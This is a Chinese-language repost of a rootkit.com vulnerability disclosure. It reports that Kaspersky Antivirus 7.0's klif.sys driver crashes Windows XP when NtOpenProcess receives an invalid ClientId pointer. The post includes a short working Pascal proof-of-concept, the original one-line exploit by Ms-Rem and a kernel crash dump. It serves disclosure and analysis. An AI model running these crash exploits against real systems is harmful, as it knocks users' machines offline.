卡巴不安全，又被溢出

在中国和国际上很受迎的Kaspersky Antivirus在网上多次被曝
可溢出后，在名顶顶的rootkit.com又曝出其7.0版本又可溢出。共原文如下：


我们之所以发表这篇文章的主要原因是：声名良好的kapersky antirus在很长的时间都存在一个很严得的bug，那些可溢出的bug甚至可以以guest以限让系统崩溃。尝 试所有的方法通知其实验室有关这个漏洞的但是都没有人理彩。这些材料在几年前在就公布在网上了，去年夏天的时候我们公布Kasperskay av 6.0 的先前基于ms-rem漏洞的得过且过了新溢出。但是卡巴仍然没有任何的心改变。最让可笑的是新的7.0还存在这个问题，所以我们的那个溢出程序还能用的很好。
这个溢出的主要上档是调用NtOpenProcess时给一个无效的参数，这个功能是邮卡巴的klif.sys驱动管理的，因为它的（klif.sys)侦听是很明显的，这是用来保护卡巴不会被未授权的访问或是恶意软件所关闭。
下面是溢相关资料：
Here is prototype of this function

NTSYSAPI
NTSTATUS
NTAPI
NtOpenProcess( OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL );


Here is a small exploit coded in pascal (worked well with klif.sys version 6.12.10.280 and previous versions)


var
ob1: OBJECT_ATTRIBUTES;
p1: DWORD;
begin
ob1.Length := sizeof(ob1);
NtOpenProcess(@p1, PROCESS_QUERY_INFORMATION, @ob1, pointer($82000000));
end;


As you see last parameter is CLIENT_ID structure - address and its points to invalid random memory region in kernel.
After starting this exploit on clean Windows XP, without KAV - no BSOD appears.
After starting this exploit on Windows XP protected by KAV 7.0 - we are getting immediately BSOD - PAGE_FAULT_IN_NONPAGED_AREA

Why this happened? Very simple explanation. The source of Hook on NtOpenProcess, I guess, looks like this:


NTSTATUS NewNtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
__try
{

if (ClientId->UniqueProcess == KasperskyProcesss) return STATUS_ACCESS_DENIED;

else return RealNtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
__except (EXCEPTION_EXECUTE_HANDLER)
{
... stuff here ...
}
}


The biggest mistake here is ClientId->UniqueProcess, since ClientId is a POINTER to structure. Accessing to invalid memory region causes immediately PAGE_FAULT_IN_NONPAGED_AREA.
Originally exploit was created by Ms-Rem and looks like


NtOpenProcess(NULL, (HANDLE)0, NULL, NULL);


Now as you see KAV developers have used try/except block, but as shows they don't know about MmIsAddressValid.

Hope now developers of Kaspersky Antivirus will discover for themself wonderful program called - NtCall and fix this bug.


*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 83000000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f941840c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.

***** Kernel symbols are WRONG. Please fix symbols to do analysis.


MODULE_NAME: klif

FAULTING_MODULE: 804d7000 nt

DEBUG_FLR_IMAGE_TIMESTAMP: 46260f1c

READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
83000000

FAULTING_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]

MM_INTERNAL_CODE: 0

CUSTOMER_CRASH_COUNT: 1

DEFAULT_BUCKET_ID: WRONG_SYMBOLS

BUGCHECK_STR: 0x50

LAST_CONTROL_TRANSFER: from f941b39a to f941840c

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f64c8d24 f941b39a 83000000 00000008 00000000 klif+0x1940c
f64c8d64 7c90eb94 badb0d00 0012f3e4 00000000 klif+0x1c39a
f64c8d68 badb0d00 0012f3e4 00000000 00000000 0x7c90eb94
f64c8d6c 0012f3e4 00000000 00000000 00000000 0xbadb0d00
f64c8d70 00000000 00000000 00000000 00000000 0x12f3e4


STACK_COMMAND: kb

FOLLOWUP_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]

SYMBOL_STACK_INDEX: 0

FOLLOWUP_NAME: MachineOwner

IMAGE_NAME: klif.sys

SYMBOL_NAME: klif+1940c

BUCKET_ID: WRONG_SYMBOLS

Followup: MachineOwner